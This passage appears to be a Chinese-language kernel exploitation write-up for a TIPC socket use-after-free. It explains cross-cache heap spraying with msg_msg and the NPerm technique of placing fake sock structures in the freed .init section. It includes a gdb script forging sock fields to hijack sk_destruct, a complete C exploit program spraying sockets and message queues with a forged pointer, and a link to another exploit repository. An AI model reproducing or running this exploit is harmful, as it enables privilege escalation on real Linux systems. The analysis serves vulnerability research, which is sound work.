作者一开始选择的是复用iter->p解引用指针指向的内存,也就是无需泄露的方式。堆喷msg_msg打cross_cache复用内存,但碰到了一个问题,在release_sock释放锁时会检测sk->sk_lock.wq(线程锁的等待队列,默认是指向自身),这里有指针需要伪造,否则会出现空指针解引用
void release_sock(struct sock *sk)
{
spin_lock_bh(&sk->sk_lock.slock);
if (sk->sk_backlog.tail)
__release_sock(sk);
if (sk->sk_prot->release_cb)
INDIRECT_CALL_INET_1(sk->sk_prot->release_cb,
tcp_release_cb, sk);
sock_release_ownership(sk);
if (waitqueue_active(&sk->sk_lock.wq))
wake_up(&sk->sk_lock.wq);
spin_unlock_bh(&sk->sk_lock.slock);
}但是选择这种复用内存的方式就是在无泄露的前提下进行的,怎么做?
gdb调试发现sk->lock.wq距离sock的偏移是0x150左右,如果单纯只是确保它没问题,我们可以这么做,分配写入0x110的object(大于256实际分配512,这是slab的划分,但写入不会覆盖到后面的sk->lock.wq)
但这么做有一个弊端,tipc_sock的大小是0x400(1024,slab占用4张连续的物理页),msg_msg的大小是0x200(512,slab占用2张连续的物理页),slab对应的物理页阶不一样加之其它因素干扰,内存复用的概率并不大(作者测试在默认情况下,大概测一小时才命中一次)
这还只是小问题,在后续测试中发现,kernel会对sk->sk_prot(偏移0x28)进行解引用,如果该处没有伪造同样会出现空指针解引用
void release_sock(struct sock *sk)
{
spin_lock_bh(&sk->sk_lock.slock);
if (sk->sk_backlog.tail)
__release_sock(sk);
if (sk->sk_prot->release_cb)
INDIRECT_CALL_INET_1(sk->sk_prot->release_cb,
tcp_release_cb, sk);
sock_release_ownership(sk);
if (waitqueue_active(&sk->sk_lock.wq))
wake_up(&sk->sk_lock.wq);
spin_unlock_bh(&sk->sk_lock.slock);
}而msg_msg头部0x30字节是header,无法控制,所以需要使用其它结构体复用比如skb数据包(不是存储元数据的sk_buff,是分配用来存储实际数据的),但后续的测试还反馈出更严重的问题
sock释放会检测另一个引用计数,而该成员的位置位于不可覆盖的sk->lock.wq之后,并且劫持程序流需要伪造的sk->sk_destruct也在这之后
void sk_free(struct sock *sk)
{
/*
* We subtract one from sk_wmem_alloc and can know if
* some packets are still in some tx queue.
* If not null, sock_wfree() will call __sk_free(sk) later
*/
if (refcount_dec_and_test(&sk->sk_wmem_alloc))
__sk_free(sk);
}这意味着使用这种方式复用内存几乎不可行(除非能伪造出sk->lock.wq),那么怎么做?
换种方式复用内存咯,但是怎么解决无泄露的问题?事实上已经有师傅研究出来利用技术了 -> NPerm & NPermv2
该技术利用的是内核镜像的.init段使用完后释放但未解除映射(这个很关键,我们在用户态包括内核态用到的地址都是虚拟地址,而之所以能访问是因为其与物理内存之间存在映射,不了解但感兴趣的师傅可以查阅相关资料),而用户态在喷射内存时有机会能复用.init段,这还是得泄露啊,有什么用呢?
虽然同样要泄露,但难度却截然不同,泄露内核堆地址需要找到指定偏移有指针成员指向内存本身(因为一般uaf读是读取某几个字段值),并且有时候还需要考虑堆喷策略,确保能分配到那块内存
但是NPerm则无需考虑这种问题,因为泄露内核代码段地址相对来说是容易一些,像早期甚至直接读取一些文件都有内核代码段地址残留,现在最主流的就是类似于prefetch这种侧信道泄露手法
那么接下来思路就比较明确了,劫持程序流主要分三步:
- Nperm布置payload(主要是将ref_cnt和locked设置为1,还有就是设置一些成员满足条件)
- 复用iter->p指向的内存,伪造指针指向Nperm布置payload的地方
- Nperm布置新的payload(主要是将ref_cnt重置为1,locked设置为0)
首先gdb在0xffffffff822f0167下断点(触发第二次断点),观察此时iter->p解引用的地址,被exploit成功伪造变成了NPerm布置payload的地址
gdb操作内存模拟NPerm布置的内存布局,下面是set.gdb的code:
memset 0xffffffff836c2000 0 0x400
set ((struct sock *)0xffffffff836c2000)->sk_lock.slock.rlock.raw_lock.locked=1
set ((struct sock *)0xffffffff836c2000)->__sk_common.skc_refcnt.refs.counter=1
set ((struct sock *)0xffffffff836c2000)->sk_wmem_alloc=1
set {long}0xffffffff836c2158=0xffffffff836c2150 //sk->lock.wq
set {long}0xffffffff836c2150=0xffffffff836c2150
set {long}0xffffffff836c2028=0xffffffff8360bda0 //sk->prot
set {long}0xffffffff836c22d0=0xffffffff810e9f20 //sk->sk_destruct断开gdb连接后重连,此时内核会往下执行到增加引用计数,并在获取自旋锁时线程忙等待,再次设置内存模拟第二次NPerm
下断点到__sk_destruct即可见内核程序流劫持成功
简易版exploit:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sched.h>
#include <stdint.h>
#ifndef AF_TIPC
#define AF_TIPC 30
#endif
#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
#define TIPC_GENL_V2_NAME "TIPCv2"
#define TIPC_NL_SOCK_GET 6
#define MAX_TIPC_SOCKETS 200
#define FIRST_BATCH 150
#define SECOND_BATCH (MAX_TIPC_SOCKETS - FIRST_BATCH)
#define MSG_QUEUE_NUM 800
#define MSG_DATA_SZ 0x3a0
struct msg_buf {
long mtype;
char mtext[MSG_DATA_SZ];
};
void bind_core(int id)
{
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(id, &mask);
sched_setaffinity(0, sizeof(mask), &mask);
}
struct req_msg {
struct nlmsghdr n;
struct genlmsghdr g;
char buf[256];
};
int get_family_id(int fd, const char *family_name)
{
struct req_msg req;
char ans[2048];
memset(&req, 0, sizeof(req));
req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
req.n.nlmsg_flags = NLM_F_REQUEST;
req.n.nlmsg_type = GENL_ID_CTRL;
req.g.cmd = CTRL_CMD_GETFAMILY;
req.g.version = 2;
struct nlattr *na = (struct nlattr *)GENLMSG_DATA(&req);
na->nla_type = CTRL_ATTR_FAMILY_NAME;
na->nla_len = strlen(family_name) + 1 + NLA_HDRLEN;
strcpy((char *)na + NLA_HDRLEN, family_name);
req.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
if (send(fd, &req, req.n.nlmsg_len, 0) < 0)
{
perror("send");
return -1;
}
int rep_len = recv(fd, ans, sizeof(ans), 0);
if (rep_len < 0)
{
perror("recv");
return -1;
}
struct nlmsghdr *nlh = (struct nlmsghdr *)ans;
if (nlh->nlmsg_type == NLMSG_ERROR)
{
return -1;
}
struct genlmsghdr *ghdr = NLMSG_DATA(nlh);
struct nlattr *attrs = (struct nlattr *)((char *)ghdr + GENL_HDRLEN);
int len = nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN);
while (len >= (int)sizeof(struct nlattr))
{
if (attrs->nla_type == CTRL_ATTR_FAMILY_ID)
{
return *(unsigned short *)((char *)attrs + NLA_HDRLEN);
}
int aligned_len = NLA_ALIGN(attrs->nla_len);
len -= aligned_len;
attrs = (struct nlattr *)((char *)attrs + aligned_len);
}
return -1;
}
int main()
{
bind_core(0);
int msqids[MSG_QUEUE_NUM];
struct msg_buf msg;
memset(&msg, 0, sizeof(msg));
for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
key_t key = 0x1000 + i;
msqids[i] = msgget(key, IPC_CREAT | 0600);
if (msqids[i] == -1)
{
perror("msgget create failed");
for (int j = 0; j < i; j++)
{
msgctl(msqids[j], IPC_RMID, NULL);
}
return -1;
}
}
int tipc_fds[MAX_TIPC_SOCKETS];
int created_count = 0;
for (int i = 0; i < FIRST_BATCH; i++)
{
tipc_fds[i] = socket(AF_TIPC, SOCK_DGRAM, 0);
if (tipc_fds[i] < 0)
{
perror("Failed to create TIPC socket (Is tipc module loaded?)");
for (int j = 0; j < created_count; j++)
{
close(tipc_fds[j]);
}
for (int j = 0; j < MSG_QUEUE_NUM; j++)
{
msgctl(msqids[j], IPC_RMID, NULL);
}
return -1;
}
created_count++;
}
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (fd < 0)
{
perror("socket AF_NETLINK");
for (int j = 0; j < MSG_QUEUE_NUM; j++)
{
msgctl(msqids[j], IPC_RMID, NULL);
}
return -1;
}
int family_id = get_family_id(fd, TIPC_GENL_V2_NAME);
if (family_id < 0)
{
close(fd);
for (int j = 0; j < MSG_QUEUE_NUM; j++)
{
msgctl(msqids[j], IPC_RMID, NULL);
}
return -1;
}
struct req_msg req;
memset(&req, 0, sizeof(req));
req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
req.n.nlmsg_type = family_id;
req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;
req.g.cmd = TIPC_NL_SOCK_GET;
req.g.version = 1;
if (send(fd, &req, req.n.nlmsg_len, 0) < 0)
{
perror("send dump");
close(fd);
for (int j = 0; j < MSG_QUEUE_NUM; j++)
{
msgctl(msqids[j], IPC_RMID, NULL);
}
return -1;
}
for (int i = FIRST_BATCH; i < MAX_TIPC_SOCKETS; i++)
{
tipc_fds[i] = socket(AF_TIPC, SOCK_DGRAM, 0);
if (tipc_fds[i] < 0)
{
perror("Failed to create remaining TIPC socket");
for (int j = 0; j < created_count; j++)
{
close(tipc_fds[j]);
}
close(fd);
for (int j = 0; j < MSG_QUEUE_NUM; j++)
{
msgctl(msqids[j], IPC_RMID, NULL);
}
return -1;
}
created_count++;
}
sleep(1);
for (int i = 0; i < created_count; i++)
{
close(tipc_fds[i]);
}
sleep(1);
for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
for (int seq = 1; seq <= 4; seq++)
{
memset(msg.mtext, 0, MSG_DATA_SZ);
*(uint64_t *)(msg.mtext + 0x368) = 0xffffffff836c2398;//加上header的0x30即为0x398
msg.mtype = ((long long)i << 32) | seq;
if (msgsnd(msqids[i], &msg, MSG_DATA_SZ, 0) == -1)
{
char errinfo[128];
snprintf(errinfo, sizeof(errinfo), "msgsnd queue%d seq%d", i, seq);
perror(errinfo);
}
}
}
char buf[10];
int len = recv(fd, buf, sizeof(buf), 0);
if (len < 0)
{
perror("recv dump failed");
}
close(fd);
return 0;
}
另一种利用方式的exploit作者已上传至github:https://github.com/guard-wait/CVE-2026-64563_EXP
感兴趣的师傅可以自行了解